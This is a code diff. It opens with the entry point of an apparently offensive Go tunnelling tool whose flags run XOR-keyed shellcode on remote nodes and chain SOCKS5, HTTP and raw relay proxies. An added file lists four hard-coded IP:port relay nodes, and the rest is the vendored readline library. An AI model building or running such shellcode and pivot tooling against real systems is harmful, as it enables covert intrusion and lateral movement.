log.Fatalln("port 参数错误,必须是1-65535")
|
||||
}
|
||||
config.Port = p
|
||||
}
|
||||
server.SetConfig(config)
|
||||
//修正dstNode为空字串的bug
|
||||
for i := len(config.DstNode) - 1; i >= 0; i-- {
|
||||
addr := config.DstNode[i]
|
||||
if addr == "" {
|
||||
config.DstNode = append(config.DstNode[:i], config.DstNode[i+1:]...)
|
||||
}
|
||||
}
|
||||
server.SetConfig(config)
|
||||
|
||||
//设置一下秘钥
|
||||
aes.Key = aes.MD5_B(config.Password + string(cert.PublicKey[:16]))
|
||||
//初始化node
|
||||
server.InitCurrentNode()
|
||||
|
||||
if common.Debug {
|
||||
go func() {
|
||||
err := http.ListenAndServe("0.0.0.0:8083", nil)
|
||||
if err != nil {
|
||||
err = http.ListenAndServe("0.0.0.0:8084", nil)
|
||||
if err != nil {
|
||||
err = http.ListenAndServe("0.0.0.0:8085", nil)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
//启动节点
|
||||
if len(config.DstNode) > 0 && config.DstNode[0] != "" {
|
||||
if _, err := server.GetNodeFromAddrs(config.DstNode); err != nil {
|
||||
log.Fatalln("连接节点失败", err)
|
||||
}
|
||||
}
|
||||
|
||||
if *shellCode != "" {
|
||||
|
||||
server.RunShellcodeWithDst(*dstNode, *shellCode, *shellCodeXorKey, *shellCodeParam, *shellCodeTimeout)
|
||||
|
||||
}
|
||||
if err := server.StartServer(config.Port); err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
|
||||
//如果有参数启动,启动一下
|
||||
if *rawbind != "" {
|
||||
if *dstNode == "" {
|
||||
log.Fatalln("请以 -d 输入远程服务器ip地址")
|
||||
}
|
||||
|
||||
if err := server.StartRawBind(*rawbind, config.DstNode); err != nil {
|
||||
log.Fatalln("bind启动失败", err)
|
||||
}
|
||||
log.Println("rawBind启动成功")
|
||||
} else if *rawconnect != "" {
|
||||
if *dstNode == "" {
|
||||
log.Fatalln("请以 -d 输入远程服务器ip地址")
|
||||
}
|
||||
n, err := server.GetNodeFromAddrs(config.DstNode)
|
||||
if err != nil {
|
||||
log.Fatalln("connect启动失败", err)
|
||||
}
|
||||
if err := server.StartRawConnect(*rawconnect, n); err != nil {
|
||||
log.Fatalln("connect启动失败", err)
|
||||
}
|
||||
log.Println("rawConnect启动成功")
|
||||
} else if *socks5port != "" {
|
||||
|
||||
cfg, err := common.ParseAddr(*socks5port)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
if err := server.StartSocks5(cfg, config.DstNode); err != nil {
|
||||
log.Fatalln("socks5启动失败", err)
|
||||
}
|
||||
log.Println("socks5启动成功")
|
||||
|
||||
} else if *remoteSocksport != "" {
|
||||
if *dstNode == "" {
|
||||
log.Fatalln("请以 -d 输入远程服务器ip地址")
|
||||
}
|
||||
n, err := server.GetNodeFromAddrs(config.DstNode)
|
||||
if err != nil {
|
||||
log.Fatalln("remoteSocks5启动失败", err)
|
||||
}
|
||||
cfg, err := common.ParseAddr(*remoteSocksport)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
if err := server.StartRemoteSocks5(cfg, n); err != nil {
|
||||
log.Fatalln("remoteSocks5启动失败", err)
|
||||
}
|
||||
log.Println("remoteSocks5 启动成功")
|
||||
} else if *http_proxy != "" {
|
||||
cfg, err := common.ParseAddr(*http_proxy)
|
||||
if err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
if err := server.StartHttpProxy(cfg, config.DstNode, *http_proxy_pool); err != nil {
|
||||
log.Fatalln("httpProxy启动失败", err)
|
||||
}
|
||||
log.Println("httpProxy 启动成功")
|
||||
}
|
||||
|
||||
if !*noCLI {
|
||||
common.SetConsoleVT()
|
||||
server.CliRun()
|
||||
|
||||
} else {
|
||||
var wait sync.WaitGroup
|
||||
wait.Add(1)
|
||||
wait.Wait()
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
104.223.135.178:10000
|
||||
169.55.89.6:80
|
||||
216.215.123.174:8080
|
||||
3.94.182.57:7497
|
||||
+358
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
|
||||
.vscode/*
|
||||
@@ -0,0 +1,8 @@
|
||||
language: go
|
||||
go:
|
||||
- 1.x
|
||||
script:
|
||||
- GOOS=windows go install github.com/chzyer/readline/example/...
|
||||
- GOOS=linux go install github.com/chzyer/readline/example/...
|
||||
- GOOS=darwin go install github.com/chzyer/readline/example/...
|
||||
- go test -race -v
|
||||
@@ -0,0 +1,58 @@
|
||||
# ChangeLog
|
||||
|
||||
### 1.4 - 2016-07-25
|
||||
|
||||
* [#60][60] Support dynamic autocompletion
|
||||
* Fix ANSI parser on Windows
|
||||
* Fix wrong column width in complete mode on Windows
|
||||
* Remove dependent package "golang.org/x/crypto/ssh/terminal"
|
||||
|
||||
### 1.3 - 2016-05-09
|
||||
|
||||
* [#38][38] add SetChildren for prefix completer interface
|
||||
* [#42][42] improve multiple lines compatibility
|
||||
* [#43][43] remove sub-package(runes) for gopkg compatibility
|
||||
* [#46][46] Auto complete with space prefixed line
|
||||
* [#48][48] support suspend process (ctrl+Z)
|
||||
* [#49][49] fix bug that check equals with previous command
|
||||
* [#53][53] Fix bug which causes integer divide by zero panicking when input buffer is empty
|
||||
|
||||
### 1.2 - 2016-03-05
|
||||
|
||||
* Add a demo for checking password strength [example/readline-pass-strength](https://github.com/chzyer/readline/blob/master/example/readline-pass-strength/readline-pass-strength.go), , written by [@sahib](https://github.com/sahib)
|
||||
* [#23][23], support stdin remapping
|
||||
* [#27][27], add a `UniqueEditLine` to `Config`, which will erase the editing line after user submited it, usually use in IM.
|
||||
* Add a demo for multiline [example/readline-multiline](https://github.com/chzyer/readline/blob/master/example/readline-multiline/readline-multiline.go) which can submit one SQL by multiple lines.
|
||||
* Supports performs even stdin/stdout is not a tty.
|
||||
* Add a new simple apis for single instance, check by [here](https://github.com/chzyer/readline/blob/master/std.go). It need to save history manually if using this api.
|
||||
* [#28][28], fixes the history is not working as expected.
|
||||
* [#33][33], vim mode now support `c`, `d`, `x (delete character)`, `r (replace character)`
|
||||
|
||||
### 1.1 - 2015-11-20
|
||||
|
||||
* [#12][12] Add support for key `<Delete>`/`<Home>`/`<End>`
|
||||
* Only enter raw mode as needed (calling `Readline()`), program will receive signal(e.g. Ctrl+C) if not interact with `readline`.
|
||||
* Bugs fixed for `PrefixCompleter`
|
||||
* Press `Ctrl+D` in empty line will cause `io.EOF` in error, Press `Ctrl+C` in anytime will cause `ErrInterrupt` instead of `io.EOF`, this will privodes a shell-like user experience.
|
||||
* Customable Interrupt/EOF prompt in `Config`
|
||||
* [#17][17] Change atomic package to use 32bit function to let it runnable on arm 32bit devices
|
||||
* Provides a new password user experience(`readline.ReadPasswordEx()`).
|
||||
|
||||
### 1.0 - 2015-10-14
|
||||
|
||||
* Initial public release.
|
||||
|
||||
[12]: https://github.com/chzyer/readline/pull/12
|
||||
[17]: https://github.com/chzyer/readline/pull/17
|
||||
[23]: https://github.com/chzyer/readline/pull/23
|
||||
[27]: https://github.com/chzyer/readline/pull/27
|
||||
[28]: https://github.com/chzyer/readline/pull/28
|
||||
[33]: https://github.com/chzyer/readline/pull/33
|
||||
[38]: https://github.com/chzyer/readline/pull/38
|
||||
[42]: https://github.com/chzyer/readline/pull/42
|
||||
[43]: https://github.com/chzyer/readline/pull/43
|
||||
[46]: https://github.com/chzyer/readline/pull/46
|
||||
[48]: https://github.com/chzyer/readline/pull/48
|
||||
[49]: https://github.com/chzyer/readline/pull/49
|
||||
[53]: https://github.com/chzyer/readline/pull/53
|
||||
[60]: https://github.com/chzyer/readline/pull/60
|
||||
@@ -0,0 +1,22 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2015 Chzyer
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
@@ -0,0 +1,114 @@
|
||||
[](https://travis-ci.org/chzyer/readline)
|
||||
[](LICENSE.md)
|
||||
[](https://github.com/chzyer/readline/releases)
|
||||
[](https://godoc.org/github.com/chzyer/readline)
|
||||
[](#backers)
|
||||
[](#sponsors)
|
||||
|
||||
<p align="center">
|
||||
<img src="https://raw.githubusercontent.com/chzyer/readline/assets/logo.png" />
|
||||
<a href="https://asciinema.org/a/32oseof9mkilg7t7d4780qt4m" target="_blank"><img src="https://asciinema.org/a/32oseof9mkilg7t7d4780qt4m.png" width="654"/></a>
|
||||
<img src="https://raw.githubusercontent.com/chzyer/readline/assets/logo_f.png" />
|
||||
</p>
|
||||
|
||||
A powerful readline library in `Linux` `macOS` `Windows` `Solaris`
|
||||
|
||||
## Guide
|
||||
|
||||
* [Demo](example/readline-demo/readline-demo.go)
|
||||
* [Shortcut](doc/shortcut.md)
|
||||
|
||||
## Repos using readline
|
||||
|
||||
[](https://github.com/cockroachdb/cockroach)
|
||||
[](https://github.com/robertkrimen/otto)
|
||||
[](https://github.com/remind101/empire)
|
||||
[](https://github.com/mehrdadrad/mylg)
|
||||
[](https://github.com/knq/usql)
|
||||
[](https://github.com/youtube/doorman)
|
||||
[](https://github.com/bom-d-van/harp)
|
||||
[](https://github.com/abiosoft/ishell)
|
||||
[](https://github.com/Netflix/hal-9001)
|
||||
[](https://github.com/docker/go-p9p)
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any questions, please submit a github issue and any pull requests is welcomed :)
|
||||
|
||||
* [https://twitter.com/chzyer](https://twitter.com/chzyer)
|
||||
* [http://weibo.com/2145262190](http://weibo.com/2145262190)
|
||||
|
||||
|
||||
## Backers
|
||||
|
||||
Love Readline? Help me keep it alive by donating funds to cover project expenses!<br />
|
||||
[[Become a backer](https://opencollective.com/readline#backer)]
|
||||
|
||||
<a href="https://opencollective.com/readline/backer/0/website" target="_blank"><img src="https://opencollective.com/readline/backer/0/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/1/website" target="_blank"><img src="https://opencollective.com/readline/backer/1/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/2/website" target="_blank"><img src="https://opencollective.com/readline/backer/2/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/3/website" target="_blank"><img src="https://opencollective.com/readline/backer/3/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/4/website" target="_blank"><img src="https://opencollective.com/readline/backer/4/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/5/website" target="_blank"><img src="https://opencollective.com/readline/backer/5/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/6/website" target="_blank"><img src="https://opencollective.com/readline/backer/6/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/7/website" target="_blank"><img src="https://opencollective.com/readline/backer/7/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/8/website" target="_blank"><img src="https://opencollective.com/readline/backer/8/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/9/website" target="_blank"><img src="https://opencollective.com/readline/backer/9/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/10/website" target="_blank"><img src="https://opencollective.com/readline/backer/10/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/11/website" target="_blank"><img src="https://opencollective.com/readline/backer/11/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/12/website" target="_blank"><img src="https://opencollective.com/readline/backer/12/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/13/website" target="_blank"><img src="https://opencollective.com/readline/backer/13/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/14/website" target="_blank"><img src="https://opencollective.com/readline/backer/14/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/15/website" target="_blank"><img src="https://opencollective.com/readline/backer/15/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/16/website" target="_blank"><img src="https://opencollective.com/readline/backer/16/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/17/website" target="_blank"><img src="https://opencollective.com/readline/backer/17/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/18/website" target="_blank"><img src="https://opencollective.com/readline/backer/18/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/19/website" target="_blank"><img src="https://opencollective.com/readline/backer/19/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/20/website" target="_blank"><img src="https://opencollective.com/readline/backer/20/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/21/website" target="_blank"><img src="https://opencollective.com/readline/backer/21/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/22/website" target="_blank"><img src="https://opencollective.com/readline/backer/22/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/23/website" target="_blank"><img src="https://opencollective.com/readline/backer/23/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/24/website" target="_blank"><img src="https://opencollective.com/readline/backer/24/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/25/website" target="_blank"><img src="https://opencollective.com/readline/backer/25/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/26/website" target="_blank"><img src="https://opencollective.com/readline/backer/26/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/27/website" target="_blank"><img src="https://opencollective.com/readline/backer/27/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/28/website" target="_blank"><img src="https://opencollective.com/readline/backer/28/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/backer/29/website" target="_blank"><img src="https://opencollective.com/readline/backer/29/avatar.svg"></a>
|
||||
|
||||
|
||||
## Sponsors
|
||||
|
||||
Become a sponsor and get your logo here on our Github page. [[Become a sponsor](https://opencollective.com/readline#sponsor)]
|
||||
|
||||
<a href="https://opencollective.com/readline/sponsor/0/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/0/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/1/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/1/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/2/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/2/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/3/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/3/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/4/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/4/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/5/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/5/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/6/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/6/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/7/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/7/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/8/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/8/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/9/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/9/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/10/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/10/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/11/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/11/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/12/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/12/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/13/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/13/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/14/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/14/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/15/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/15/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/16/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/16/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/17/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/17/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/18/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/18/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/19/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/19/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/20/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/20/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/21/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/21/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/22/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/22/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/23/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/23/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/24/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/24/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/25/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/25/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/26/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/26/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/27/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/27/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/28/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/28/avatar.svg"></a>
|
||||
<a href="https://opencollective.com/readline/sponsor/29/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/29/avatar.svg"></a>
|
||||
|
||||
@@ -0,0 +1,249 @@
|
||||
// +build windows
|
||||
|
||||
package readline
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"io"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"unicode/utf8"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
_ = uint16(0)
|
||||
COLOR_FBLUE = 0x0001
|
||||
COLOR_FGREEN = 0x0002
|
||||
COLOR_FRED = 0x0004
|
||||
COLOR_FINTENSITY = 0x0008
|
||||
|
||||
COLOR_BBLUE = 0x0010
|
||||
COLOR_BGREEN = 0x0020
|
||||
COLOR_BRED = 0x0040
|
||||
COLOR_BINTENSITY = 0x0080
|
||||
|
||||
COMMON_LVB_UNDERSCORE = 0x8000
|
||||
COMMON_LVB_BOLD = 0x0007
|
||||
)
|
||||
|
||||
var ColorTableFg = []word{
|
||||
0, // 30: Black
|
||||
COLOR_FRED, // 31: Red
|
||||
COLOR_FGREEN, // 32: Green
|
||||
COLOR_FRED | COLOR_FGREEN, // 33: Yellow
|
||||
COLOR_FBLUE, // 34: Blue
|
||||
COLOR_FRED | COLOR_FBLUE, // 35: Magenta
|
||||
COLOR_FGREEN | COLOR_FBLUE, // 36: Cyan
|
||||
COLOR_FRED | COLOR_FBLUE | COLOR_FGREEN, // 37: White
|
||||
}
|
||||
|
||||
var ColorTableBg = []word{
|
||||
0, // 40: Black
|
||||
COLOR_BRED, // 41: Red
|
||||
COLOR_BGREEN, // 42: Green
|
||||
COLOR_BRED | COLOR_BGREEN, // 43: Yellow
|
||||
COLOR_BBLUE, // 44: Blue
|
||||
COLOR_BRED | COLOR_BBLUE, // 45: Magenta
|
||||
COLOR_BGREEN | COLOR_BBLUE, // 46: Cyan
|
||||
COLOR_BRED | COLOR_BBLUE | COLOR_BGREEN, // 47: White
|
||||
}
|
||||
|
||||
type ANSIWriter struct {
|
||||
target io.Writer
|
||||
wg sync.WaitGroup
|
||||
ctx *ANSIWriterCtx
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func NewANSIWriter(w io.Writer) *ANSIWriter {
|
||||
a := &ANSIWriter{
|
||||
target: w,
|
||||
ctx: NewANSIWriterCtx(w),
|
||||
}
|
||||
return a
|
||||
}
|
||||
|
||||
func (a *ANSIWriter) Close() error {
|
||||
a.wg.Wait()
|
||||
return nil
|
||||
}
|
||||
|
||||
type ANSIWriterCtx struct {
|
||||
isEsc bool
|
||||
isEscSeq bool
|
||||
arg []string
|
||||
target *bufio.Writer
|
||||
wantFlush bool
|
||||
}
|
||||
|
||||
func NewANSIWriterCtx(target io.Writer) *ANSIWriterCtx {
|
||||
return &ANSIWriterCtx{
|
||||
target: bufio.NewWriter(target),
|
||||
}
|
||||
}
|
||||
|
||||
func (a *ANSIWriterCtx) Flush() {
|
||||
a.target.Flush()
|
||||
}
|
||||
|
||||
func (a *ANSIWriterCtx) process(r rune) bool {
|
||||
if a.wantFlush {
|
||||
if r == 0 || r == CharEsc {
|
||||
a.wantFlush = false
|
||||
a.target.Flush()
|
||||
}
|
||||
}
|
||||
if a.isEscSeq {
|
||||
a.isEscSeq = a.ioloopEscSeq(a.target, r, &a.arg)
|
||||
return true
|
||||
}
|
||||
|
||||
switch r {
|
||||
case CharEsc:
|
||||
a.isEsc = true
|
||||
case '[':
|
||||
if a.isEsc {
|
||||
a.arg = nil
|
||||
a.isEscSeq = true
|
||||
a.isEsc = false
|
||||
break
|
||||
}
|
||||
fallthrough
|
||||
default:
|
||||
a.target.WriteRune(r)
|
||||
a.wantFlush = true
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (a *ANSIWriterCtx) ioloopEscSeq(w *bufio.Writer, r rune, argptr *[]string) bool {
|
||||
arg := *argptr
|
||||
var err error
|
||||
|
||||
if r >= 'A' && r <= 'D' {
|
||||
count := short(GetInt(arg, 1))
|
||||
info, err := GetConsoleScreenBufferInfo()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
switch r {
|
||||
case 'A': // up
|
||||
info.dwCursorPosition.y -= count
|
||||
case 'B': // down
|
||||
info.dwCursorPosition.y += count
|
||||
case 'C': // right
|
||||
info.dwCursorPosition.x += count
|
||||
case 'D': // left
|
||||
info.dwCursorPosition.x -= count
|
||||
}
|
||||
SetConsoleCursorPosition(&info.dwCursorPosition)
|
||||
return false
|
||||
}
|
||||
|
||||
switch r {
|
||||
case 'J':
|
||||
killLines()
|
||||
case 'K':
|
||||
eraseLine()
|
||||
case 'm':
|
||||
color := word(0)
|
||||
for _, item := range arg {
|
||||
var c int
|
||||
c, err = strconv.Atoi(item)
|
||||
if err != nil {
|
||||
w.WriteString("[" + strings.Join(arg, ";") + "m")
|
||||
break
|
||||
}
|
||||
if c >= 30 && c < 40 {
|
||||
color ^= COLOR_FINTENSITY
|
||||
color |= ColorTableFg[c-30]
|
||||
} else if c >= 40 && c < 50 {
|
||||
color ^= COLOR_BINTENSITY
|
||||
color |= ColorTableBg[c-40]
|
||||
} else if c == 4 {
|
||||
color |= COMMON_LVB_UNDERSCORE | ColorTableFg[7]
|
||||
} else if c == 1 {
|
||||
color |= COMMON_LVB_BOLD | COLOR_FINTENSITY
|
||||
} else { // unknown code treat as reset
|
||||
color = ColorTableFg[7]
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
kernel.SetConsoleTextAttribute(stdout, uintptr(color))
|
||||
case '\007': // set title
|
||||
case ';':
|
||||
if len(arg) == 0 || arg[len(arg)-1] != "" {
|
||||
arg = append(arg, "")
|
||||
*argptr = arg
|
||||
}
|
||||
return true
|
||||
default:
|
||||
if len(arg) == 0 {
|
||||
arg = append(arg, "")
|
||||
}
|
||||
arg[len(arg)-1] += string(r)
|
||||
*argptr = arg
|
||||
return true
|
||||
}
|
||||
*argptr = nil
|
||||
return false
|
||||
}
|
||||
|
||||
func (a *ANSIWriter) Write(b []byte) (int, error) {
|
||||
a.Lock()
|
||||
defer a.Unlock()
|
||||
|
||||
off := 0
|
||||
for len(b) > off {
|
||||
r, size := utf8.DecodeRune(b[off:])
|
||||
if size == 0 {
|
||||
return off, io.ErrShortWrite
|
||||
}
|
||||
off += size
|
||||
a.ctx.process(r)
|
||||
}
|
||||
a.ctx.Flush()
|
||||
return off, nil
|
||||
}
|
||||
|
||||
func killLines() error {
|
||||
sbi, err := GetConsoleScreenBufferInfo()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
size := (sbi.dwCursorPosition.y - sbi.dwSize.y) * sbi.dwSize.x
|
||||
size += sbi.dwCursorPosition.x
|
||||
|
||||
var written int
|
||||
kernel.FillConsoleOutputAttribute(stdout, uintptr(ColorTableFg[7]),
|
||||
uintptr(size),
|
||||
sbi.dwCursorPosition.ptr(),
|
||||
uintptr(unsafe.Pointer(&written)),
|
||||
)
|
||||
return kernel.FillConsoleOutputCharacterW(stdout, uintptr(' '),
|
||||
uintptr(size),
|
||||
sbi.dwCursorPosition.ptr(),
|
||||
uintptr(unsafe.Pointer(&written)),
|
||||
)
|
||||
}
|
||||
|
||||
func eraseLine() error {
|
||||
sbi, err := GetConsoleScreenBufferInfo()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
size := sbi.dwSize.x
|
||||
sbi.dwCursorPosition.x = 0
|
||||
var written int
|
||||
return kernel.FillConsoleOutputCharacterW(stdout, uintptr(' '),
|
||||
uintptr(size),
|
||||
sbi.dwCursorPosition.ptr(),
|
||||
uintptr(unsafe.Pointer(&written)),
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,285 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
type AutoCompleter interface {
|
||||
// Readline will pass the whole line and current offset to it
|
||||
// Completer need to pass all the candidates, and how long they shared the same characters in line
|
||||
// Example:
|
||||
// [go, git, git-shell, grep]
|
||||
// Do("g", 1) => ["o", "it", "it-shell", "rep"], 1
|
||||
// Do("gi", 2) => ["t", "t-shell"], 2
|
||||
// Do("git", 3) => ["", "-shell"], 3
|
||||
Do(line []rune, pos int) (newLine [][]rune, length int)
|
||||
}
|
||||
|
||||
type TabCompleter struct{}
|
||||
|
||||
func (t *TabCompleter) Do([]rune, int) ([][]rune, int) {
|
||||
return [][]rune{[]rune("\t")}, 0
|
||||
}
|
||||
|
||||
type opCompleter struct {
|
||||
w io.Writer
|
||||
op *Operation
|
||||
width int
|
||||
|
||||
inCompleteMode bool
|
||||
inSelectMode bool
|
||||
candidate [][]rune
|
||||
candidateSource []rune
|
||||
candidateOff int
|
||||
candidateChoise int
|
||||
candidateColNum int
|
||||
}
|
||||
|
||||
func newOpCompleter(w io.Writer, op *Operation, width int) *opCompleter {
|
||||
return &opCompleter{
|
||||
w: w,
|
||||
op: op,
|
||||
width: width,
|
||||
}
|
||||
}
|
||||
|
||||
func (o *opCompleter) doSelect() {
|
||||
if len(o.candidate) == 1 {
|
||||
o.op.buf.WriteRunes(o.candidate[0])
|
||||
o.ExitCompleteMode(false)
|
||||
return
|
||||
}
|
||||
o.nextCandidate(1)
|
||||
o.CompleteRefresh()
|
||||
}
|
||||
|
||||
func (o *opCompleter) nextCandidate(i int) {
|
||||
o.candidateChoise += i
|
||||
o.candidateChoise = o.candidateChoise % len(o.candidate)
|
||||
if o.candidateChoise < 0 {
|
||||
o.candidateChoise = len(o.candidate) + o.candidateChoise
|
||||
}
|
||||
}
|
||||
|
||||
func (o *opCompleter) OnComplete() bool {
|
||||
if o.width == 0 {
|
||||
return false
|
||||
}
|
||||
if o.IsInCompleteSelectMode() {
|
||||
o.doSelect()
|
||||
return true
|
||||
}
|
||||
|
||||
buf := o.op.buf
|
||||
rs := buf.Runes()
|
||||
|
||||
if o.IsInCompleteMode() && o.candidateSource != nil && runes.Equal(rs, o.candidateSource) {
|
||||
o.EnterCompleteSelectMode()
|
||||
o.doSelect()
|
||||
return true
|
||||
}
|
||||
|
||||
o.ExitCompleteSelectMode()
|
||||
o.candidateSource = rs
|
||||
newLines, offset := o.op.cfg.AutoComplete.Do(rs, buf.idx)
|
||||
if len(newLines) == 0 {
|
||||
o.ExitCompleteMode(false)
|
||||
return true
|
||||
}
|
||||
|
||||
// only Aggregate candidates in non-complete mode
|
||||
if !o.IsInCompleteMode() {
|
||||
if len(newLines) == 1 {
|
||||
buf.WriteRunes(newLines[0])
|
||||
o.ExitCompleteMode(false)
|
||||
return true
|
||||
}
|
||||
|
||||
same, size := runes.Aggregate(newLines)
|
||||
if size > 0 {
|
||||
buf.WriteRunes(same)
|
||||
